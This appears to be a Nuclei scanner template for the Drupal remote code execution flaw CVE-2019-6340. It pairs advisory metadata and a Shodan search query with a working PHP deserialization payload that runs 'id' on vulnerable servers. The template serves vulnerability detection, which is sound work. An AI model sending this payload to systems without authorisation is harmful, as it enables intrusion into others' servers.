52 lines
2.3 KiB
YAML
52 lines
2.3 KiB
YAML
id: CVE-2019-6340
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info:
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name: Drupal - Remote Code Execution
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author: madrobot
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severity: high
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description: Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected Drupal site.
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remediation: |
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Apply the official security patch provided by Drupal to fix the deserialization vulnerability.
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reference:
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- https://www.drupal.org/sa-core-2019-003
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- https://www.synology.com/security/advisory/Synology_SA_19_09
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- https://nvd.nist.gov/vuln/detail/CVE-2019-6340
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- https://www.exploit-db.com/exploits/46452/
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.1
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cve-id: CVE-2019-6340
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cwe-id: CWE-502
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epss-score: 0.97503
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epss-percentile: 0.9998
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cpe: cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: drupal
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product: drupal
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shodan-query: http.component:"drupal"
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tags: cve,cve2019,drupal,rce,kev
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http:
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- method: POST
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path:
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- '{{BaseURL}}/node/1?_format=hal_json'
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body: '{ "link": [ { "value": "link", "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" } ], "_links": { "type": { "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" } } }'
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "uid="
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- "gid="
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- "groups="
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condition: and
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- type: status
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status:
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- 200
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# digest: 490a00463044022064c6755153086aed2631f95168ff711dcd8bbf7c4f09f4836a4bb6ade8f9e3a402200459d7020270357efd56d90120361fd091c56b7312c7091835519f09707acc55:922c64590222798bb761d5b6d8e72950 |